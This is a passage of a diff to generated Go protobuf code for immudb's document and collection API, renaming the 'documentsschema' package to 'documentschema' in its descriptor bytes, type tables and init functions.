0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x30, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, - 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x42, 0xbf, 0x01, 0x5a, 0x34, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, - 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, - 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, - 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, - 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, - 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, - 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, - 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, - 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, - 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, + 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, + 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, + 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, + 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, + 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, + 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, + 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, + 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, + 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, + 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, + 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, + 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, + 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, + 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, + 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( - file_documentsschema_proto_rawDescOnce sync.Once - file_documentsschema_proto_rawDescData = file_documentsschema_proto_rawDesc + file_documentschema_proto_rawDescOnce sync.Once + file_documentschema_proto_rawDescData = file_documentschema_proto_rawDesc ) -func file_documentsschema_proto_rawDescGZIP() []byte { - file_documentsschema_proto_rawDescOnce.Do(func() { - file_documentsschema_proto_rawDescData = protoimpl.X.CompressGZIP(file_documentsschema_proto_rawDescData) +func file_documentschema_proto_rawDescGZIP() []byte { + file_documentschema_proto_rawDescOnce.Do(func() { + file_documentschema_proto_rawDescData = protoimpl.X.CompressGZIP(file_documentschema_proto_rawDescData) }) - return file_documentsschema_proto_rawDescData -} - -var file_documentsschema_proto_enumTypes = make([]protoimpl.EnumInfo, 2) -var file_documentsschema_proto_msgTypes = make([]protoimpl.MessageInfo, 28) -var file_documentsschema_proto_goTypes = []interface{}{ - (QueryOperator)(0), // 0: immudb.documentsschema.QueryOperator - (IndexType)(0), // 1: immudb.documentsschema.IndexType - (*DocumentInsertRequest)(nil), // 2: immudb.documentsschema.DocumentInsertRequest - (*DocumentInsertResponse)(nil), // 3: immudb.documentsschema.DocumentInsertResponse - (*IndexValue)(nil), // 4: immudb.documentsschema.IndexValue - (*DocumentQuery)(nil), // 5: immudb.documentsschema.DocumentQuery - (*DocumentSearchRequest)(nil), // 6: immudb.documentsschema.DocumentSearchRequest - (*DocumentSearchResponse)(nil), // 7: immudb.documentsschema.DocumentSearchResponse - (*DocumentProofRequest)(nil), // 8: immudb.documentsschema.DocumentProofRequest - (*DocumentProofResponse)(nil), // 9: immudb.documentsschema.DocumentProofResponse - (*DocumentAuditRequest)(nil), // 10: immudb.documentsschema.DocumentAuditRequest - (*DocumentAuditResponse)(nil), // 11: immudb.documentsschema.DocumentAuditResponse - (*DocumentAudit)(nil), // 12: immudb.documentsschema.DocumentAudit - (*IndexOption)(nil), // 13: immudb.documentsschema.IndexOption - (*CollectionCreateRequest)(nil), // 14: immudb.documentsschema.CollectionCreateRequest - (*CollectionCreateResponse)(nil), // 15: immudb.documentsschema.CollectionCreateResponse - (*CollectionInformation)(nil), // 16: immudb.documentsschema.CollectionInformation - (*CollectionGetResponse)(nil), // 17: immudb.documentsschema.CollectionGetResponse - (*CollectionGetRequest)(nil), // 18: immudb.documentsschema.CollectionGetRequest - (*CollectionListRequest)(nil), // 19: immudb.documentsschema.CollectionListRequest - (*CollectionListResponse)(nil), // 20: immudb.documentsschema.CollectionListResponse - (*CollectionDeleteRequest)(nil), // 21: immudb.documentsschema.CollectionDeleteRequest - (*CollectionDeleteResponse)(nil), // 22: immudb.documentsschema.CollectionDeleteResponse - (*Proof)(nil), // 23: immudb.documentsschema.Proof - nil, // 24: immudb.documentsschema.DocumentProofRequest.PrimaryKeysEntry - nil, // 25: immudb.documentsschema.DocumentAuditRequest.PrimaryKeysEntry - nil, // 26: immudb.documentsschema.CollectionCreateRequest.PrimaryKeysEntry - nil, // 27: immudb.documentsschema.CollectionCreateRequest.IndexKeysEntry - nil, // 28: immudb.documentsschema.CollectionInformation.PrimaryKeysEntry - nil, // 29: immudb.documentsschema.CollectionInformation.IndexKeysEntry + return file_documentschema_proto_rawDescData +} + +var file_documentschema_proto_enumTypes = make([]protoimpl.EnumInfo, 2) +var file_documentschema_proto_msgTypes = make([]protoimpl.MessageInfo, 28) +var file_documentschema_proto_goTypes = []interface{}{ + (QueryOperator)(0), // 0: immudb.documentschema.QueryOperator + (IndexType)(0), // 1: immudb.documentschema.IndexType + (*DocumentInsertRequest)(nil), // 2: immudb.documentschema.DocumentInsertRequest + (*DocumentInsertResponse)(nil), // 3: immudb.documentschema.DocumentInsertResponse + (*IndexValue)(nil), // 4: immudb.documentschema.IndexValue + (*DocumentQuery)(nil), // 5: immudb.documentschema.DocumentQuery + (*DocumentSearchRequest)(nil), // 6: immudb.documentschema.DocumentSearchRequest + (*DocumentSearchResponse)(nil), // 7: immudb.documentschema.DocumentSearchResponse + (*DocumentProofRequest)(nil), // 8: immudb.documentschema.DocumentProofRequest + (*DocumentProofResponse)(nil), // 9: immudb.documentschema.DocumentProofResponse + (*DocumentAuditRequest)(nil), // 10: immudb.documentschema.DocumentAuditRequest + (*DocumentAuditResponse)(nil), // 11: immudb.documentschema.DocumentAuditResponse + (*DocumentAudit)(nil), // 12: immudb.documentschema.DocumentAudit + (*IndexOption)(nil), // 13: immudb.documentschema.IndexOption + (*CollectionCreateRequest)(nil), // 14: immudb.documentschema.CollectionCreateRequest + (*CollectionCreateResponse)(nil), // 15: immudb.documentschema.CollectionCreateResponse + (*CollectionInformation)(nil), // 16: immudb.documentschema.CollectionInformation + (*CollectionGetResponse)(nil), // 17: immudb.documentschema.CollectionGetResponse + (*CollectionGetRequest)(nil), // 18: immudb.documentschema.CollectionGetRequest + (*CollectionListRequest)(nil), // 19: immudb.documentschema.CollectionListRequest + (*CollectionListResponse)(nil), // 20: immudb.documentschema.CollectionListResponse + (*CollectionDeleteRequest)(nil), // 21: immudb.documentschema.CollectionDeleteRequest + (*CollectionDeleteResponse)(nil), // 22: immudb.documentschema.CollectionDeleteResponse + (*Proof)(nil), // 23: immudb.documentschema.Proof + nil, // 24: immudb.documentschema.DocumentProofRequest.PrimaryKeysEntry + nil, // 25: immudb.documentschema.DocumentAuditRequest.PrimaryKeysEntry + nil, // 26: immudb.documentschema.CollectionCreateRequest.PrimaryKeysEntry + nil, // 27: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry + nil, // 28: immudb.documentschema.CollectionInformation.PrimaryKeysEntry + nil, // 29: immudb.documentschema.CollectionInformation.IndexKeysEntry (*_struct.Struct)(nil), // 30: google.protobuf.Struct (*schema.VerifiableTx)(nil), // 31: immudb.schema.VerifiableTx (_struct.NullValue)(0), // 32: google.protobuf.NullValue (*_struct.Value)(nil), // 33: google.protobuf.Value (*empty.Empty)(nil), // 34: google.protobuf.Empty } -var file_documentsschema_proto_depIdxs = []int32{ - 30, // 0: immudb.documentsschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct - 31, // 1: immudb.documentsschema.DocumentInsertResponse.proof:type_name -> immudb.schema.VerifiableTx - 32, // 2: immudb.documentsschema.IndexValue.null_value:type_name -> google.protobuf.NullValue - 0, // 3: immudb.documentsschema.DocumentQuery.operator:type_name -> immudb.documentsschema.QueryOperator - 33, // 4: immudb.documentsschema.DocumentQuery.value:type_name -> google.protobuf.Value - 5, // 5: immudb.documentsschema.DocumentSearchRequest.query:type_name -> immudb.documentsschema.DocumentQuery - 30, // 6: immudb.documentsschema.DocumentSearchResponse.results:type_name -> google.protobuf.Struct - 24, // 7: immudb.documentsschema.DocumentProofRequest.primaryKeys:type_name -> immudb.documentsschema.DocumentProofRequest.PrimaryKeysEntry - 31, // 8: immudb.documentsschema.DocumentProofResponse.proof:type_name -> immudb.schema.VerifiableTx - 25, // 9: immudb.documentsschema.DocumentAuditRequest.primaryKeys:type_name -> immudb.documentsschema.DocumentAuditRequest.PrimaryKeysEntry - 12, // 10: immudb.documentsschema.DocumentAuditResponse.results:type_name -> immudb.documentsschema.DocumentAudit - 30, // 11: immudb.documentsschema.DocumentAudit.value:type_name -> google.protobuf.Struct - 1, // 12: immudb.documentsschema.IndexOption.type:type_name -> immudb.documentsschema.IndexType - 26, // 13: immudb.documentsschema.CollectionCreateRequest.primaryKeys:type_name -> immudb.documentsschema.CollectionCreateRequest.PrimaryKeysEntry - 27, // 14: immudb.documentsschema.CollectionCreateRequest.indexKeys:type_name -> immudb.documentsschema.CollectionCreateRequest.IndexKeysEntry - 16, // 15: immudb.documentsschema.CollectionCreateResponse.collection:type_name -> immudb.documentsschema.CollectionInformation - 28, // 16: immudb.documentsschema.CollectionInformation.primaryKeys:type_name -> immudb.documentsschema.CollectionInformation.PrimaryKeysEntry - 29, // 17: immudb.documentsschema.CollectionInformation.indexKeys:type_name -> immudb.documentsschema.CollectionInformation.IndexKeysEntry - 16, // 18: immudb.documentsschema.CollectionGetResponse.collection:type_name -> immudb.documentsschema.CollectionInformation - 16, // 19: immudb.documentsschema.CollectionListResponse.collections:type_name -> immudb.documentsschema.CollectionInformation - 34, // 20: immudb.documentsschema.CollectionDeleteResponse.response:type_name -> google.protobuf.Empty - 4, // 21: immudb.documentsschema.DocumentProofRequest.PrimaryKeysEntry.value:type_name -> immudb.documentsschema.IndexValue - 4, // 22: immudb.documentsschema.DocumentAuditRequest.PrimaryKeysEntry.value:type_name -> immudb.documentsschema.IndexValue - 13, // 23: immudb.documentsschema.CollectionCreateRequest.PrimaryKeysEntry.value:type_name -> immudb.documentsschema.IndexOption - 13, // 24: immudb.documentsschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentsschema.IndexOption - 13, // 25: immudb.documentsschema.CollectionInformation.PrimaryKeysEntry.value:type_name -> immudb.documentsschema.IndexOption - 13, // 26: immudb.documentsschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentsschema.IndexOption - 2, // 27: immudb.documentsschema.DocumentService.DocumentInsert:input_type -> immudb.documentsschema.DocumentInsertRequest - 6, // 28: immudb.documentsschema.DocumentService.DocumentSearch:input_type -> immudb.documentsschema.DocumentSearchRequest - 10, // 29: immudb.documentsschema.DocumentService.DocumentAudit:input_type -> immudb.documentsschema.DocumentAuditRequest - 8, // 30: immudb.documentsschema.DocumentService.DocumentProof:input_type -> immudb.documentsschema.DocumentProofRequest - 14, // 31: immudb.documentsschema.DocumentService.CollectionCreate:input_type -> immudb.documentsschema.CollectionCreateRequest - 18, // 32: immudb.documentsschema.DocumentService.CollectionGet:input_type -> immudb.documentsschema.CollectionGetRequest - 19, // 33: immudb.documentsschema.DocumentService.CollectionList:input_type -> immudb.documentsschema.CollectionListRequest - 21, // 34: immudb.documentsschema.DocumentService.CollectionDelete:input_type -> immudb.documentsschema.CollectionDeleteRequest - 3, // 35: immudb.documentsschema.DocumentService.DocumentInsert:output_type -> immudb.documentsschema.DocumentInsertResponse - 7, // 36: immudb.documentsschema.DocumentService.DocumentSearch:output_type -> immudb.documentsschema.DocumentSearchResponse - 11, // 37: immudb.documentsschema.DocumentService.DocumentAudit:output_type -> immudb.documentsschema.DocumentAuditResponse - 9, // 38: immudb.documentsschema.DocumentService.DocumentProof:output_type -> immudb.documentsschema.DocumentProofResponse - 15, // 39: immudb.documentsschema.DocumentService.CollectionCreate:output_type -> immudb.documentsschema.CollectionCreateResponse - 17, // 40: immudb.documentsschema.DocumentService.CollectionGet:output_type -> immudb.documentsschema.CollectionGetResponse - 20, // 41: immudb.documentsschema.DocumentService.CollectionList:output_type -> immudb.documentsschema.CollectionListResponse - 22, // 42: immudb.documentsschema.DocumentService.CollectionDelete:output_type -> immudb.documentsschema.CollectionDeleteResponse +var file_documentschema_proto_depIdxs = []int32{ + 30, // 0: immudb.documentschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct + 31, // 1: immudb.documentschema.DocumentInsertResponse.proof:type_name -> immudb.schema.VerifiableTx + 32, // 2: immudb.documentschema.IndexValue.null_value:type_name -> google.protobuf.NullValue + 0, // 3: immudb.documentschema.DocumentQuery.operator:type_name -> immudb.documentschema.QueryOperator + 33, // 4: immudb.documentschema.DocumentQuery.value:type_name -> google.protobuf.Value + 5, // 5: immudb.documentschema.DocumentSearchRequest.query:type_name -> immudb.documentschema.DocumentQuery + 30, // 6: immudb.documentschema.DocumentSearchResponse.results:type_name -> google.protobuf.Struct + 24, // 7: immudb.documentschema.DocumentProofRequest.primaryKeys:type_name -> immudb.documentschema.DocumentProofRequest.PrimaryKeysEntry + 31, // 8: immudb.documentschema.DocumentProofResponse.proof:type_name -> immudb.schema.VerifiableTx + 25, // 9: immudb.documentschema.DocumentAuditRequest.primaryKeys:type_name -> immudb.documentschema.DocumentAuditRequest.PrimaryKeysEntry + 12, // 10: immudb.documentschema.DocumentAuditResponse.results:type_name -> immudb.documentschema.DocumentAudit + 30, // 11: immudb.documentschema.DocumentAudit.value:type_name -> google.protobuf.Struct + 1, // 12: immudb.documentschema.IndexOption.type:type_name -> immudb.documentschema.IndexType + 26, // 13: immudb.documentschema.CollectionCreateRequest.primaryKeys:type_name -> immudb.documentschema.CollectionCreateRequest.PrimaryKeysEntry + 27, // 14: immudb.documentschema.CollectionCreateRequest.indexKeys:type_name -> immudb.documentschema.CollectionCreateRequest.IndexKeysEntry + 16, // 15: immudb.documentschema.CollectionCreateResponse.collection:type_name -> immudb.documentschema.CollectionInformation + 28, // 16: immudb.documentschema.CollectionInformation.primaryKeys:type_name -> immudb.documentschema.CollectionInformation.PrimaryKeysEntry + 29, // 17: immudb.documentschema.CollectionInformation.indexKeys:type_name -> immudb.documentschema.CollectionInformation.IndexKeysEntry + 16, // 18: immudb.documentschema.CollectionGetResponse.collection:type_name -> immudb.documentschema.CollectionInformation + 16, // 19: immudb.documentschema.CollectionListResponse.collections:type_name -> immudb.documentschema.CollectionInformation + 34, // 20: immudb.documentschema.CollectionDeleteResponse.response:type_name -> google.protobuf.Empty + 4, // 21: immudb.documentschema.DocumentProofRequest.PrimaryKeysEntry.value:type_name -> immudb.documentschema.IndexValue + 4, // 22: immudb.documentschema.DocumentAuditRequest.PrimaryKeysEntry.value:type_name -> immudb.documentschema.IndexValue + 13, // 23: immudb.documentschema.CollectionCreateRequest.PrimaryKeysEntry.value:type_name -> immudb.documentschema.IndexOption + 13, // 24: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption + 13, // 25: immudb.documentschema.CollectionInformation.PrimaryKeysEntry.value:type_name -> immudb.documentschema.IndexOption + 13, // 26: immudb.documentschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption + 2, // 27: immudb.documentschema.DocumentService.DocumentInsert:input_type -> immudb.documentschema.DocumentInsertRequest + 6, // 28: immudb.documentschema.DocumentService.DocumentSearch:input_type -> immudb.documentschema.DocumentSearchRequest + 10, // 29: immudb.documentschema.DocumentService.DocumentAudit:input_type -> immudb.documentschema.DocumentAuditRequest + 8, // 30: immudb.documentschema.DocumentService.DocumentProof:input_type -> immudb.documentschema.DocumentProofRequest + 14, // 31: immudb.documentschema.DocumentService.CollectionCreate:input_type -> immudb.documentschema.CollectionCreateRequest + 18, // 32: immudb.documentschema.DocumentService.CollectionGet:input_type -> immudb.documentschema.CollectionGetRequest + 19, // 33: immudb.documentschema.DocumentService.CollectionList:input_type -> immudb.documentschema.CollectionListRequest + 21, // 34: immudb.documentschema.DocumentService.CollectionDelete:input_type -> immudb.documentschema.CollectionDeleteRequest + 3, // 35: immudb.documentschema.DocumentService.DocumentInsert:output_type -> immudb.documentschema.DocumentInsertResponse + 7, // 36: immudb.documentschema.DocumentService.DocumentSearch:output_type -> immudb.documentschema.DocumentSearchResponse + 11, // 37: immudb.documentschema.DocumentService.DocumentAudit:output_type -> immudb.documentschema.DocumentAuditResponse + 9, // 38: immudb.documentschema.DocumentService.DocumentProof:output_type -> immudb.documentschema.DocumentProofResponse + 15, // 39: immudb.documentschema.DocumentService.CollectionCreate:output_type -> immudb.documentschema.CollectionCreateResponse + 17, // 40: immudb.documentschema.DocumentService.CollectionGet:output_type -> immudb.documentschema.CollectionGetResponse + 20, // 41: immudb.documentschema.DocumentService.CollectionList:output_type -> immudb.documentschema.CollectionListResponse + 22, // 42: immudb.documentschema.DocumentService.CollectionDelete:output_type -> immudb.documentschema.CollectionDeleteResponse 35, // [35:43] is the sub-list for method output_type 27, // [27:35] is the sub-list for method input_type 27, // [27:27] is the sub-list for extension type_name @@ -1821,13 +1819,13 @@ var file_documentsschema_proto_depIdxs = []int32{ 0, // [0:27] is the sub-list for field type_name } -func init() { file_documentsschema_proto_init() } -func file_documentsschema_proto_init() { - if File_documentsschema_proto != nil { +func init() { file_documentschema_proto_init() } +func file_documentschema_proto_init() { + if File_documentschema_proto != nil { return } if !protoimpl.UnsafeEnabled { - file_documentsschema_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DocumentInsertRequest); i { case 0: return &v.state @@ -1839,7 +1837,7 @@ func file_documentsschema_proto_init() { return nil } } - file_documentsschema_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DocumentInsertResponse); i { case 0: return &v.state @@ -1851,7 +1849,7 @@ func file_documentsschema_proto_init() { return nil } } - file_documentsschema_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*IndexValue); i { case 0: return &v.state @@ -1863,7 +1861,7 @@ func file_documentsschema_proto_init() { return nil } } - file_documentsschema_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DocumentQuery); i { case 0: return &v.state @@ -1875,7 +1873,7 @@ func file_documentsschema_proto_init() { return nil } } - file_documentsschema_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DocumentSearchRequest); i { case 0: return &v.state @@ -1887,7 +1885,7 @@ func file_documentsschema_proto_init() { return nil } } - file_documentsschema_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DocumentSearchResponse); i { case 0: return &v.state @@ -1899,7 +1897,7 @@ func file_documentsschema_proto_init() { return nil } } - file_documentsschema_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DocumentProofRequest); i { case 0: return &v.state @@ -1911,7 +1909,7 @@ func file_documentsschema_proto_init() { return nil } } - file_documentsschema_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DocumentProofResponse); i { case 0: return &v.state @@ -1923,7 +1921,7 @@ func file_documentsschema_proto_init() { return nil } } - file_documentsschema_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DocumentAuditRequest); i { case 0: return &v.state @@ -1935,7 +1933,7 @@ func file_documentsschema_proto_init() { return nil } } - file_documentsschema_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DocumentAuditResponse); i { case 0: return &v.state @@ -1947,7 +1945,7 @@ func file_documentsschema_proto_init() { return nil } } - file_documentsschema_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DocumentAudit); i { case 0: return &v.state @@ -1959,7 +1957,7 @@ func file_documentsschema_proto_init() { return nil } } - file_documentsschema_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*IndexOption); i { case 0: return &v.state @@ -1971,7 +1969,7 @@ func file_documentsschema_proto_init() { return nil } } - file_documentsschema_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CollectionCreateRequest); i { case 0: return &v.state @@ -1983,7 +1981,7 @@ func file_documentsschema_proto_init() { return nil } } - file_documentsschema_proto_msgTypes[13].Exporter = func(v 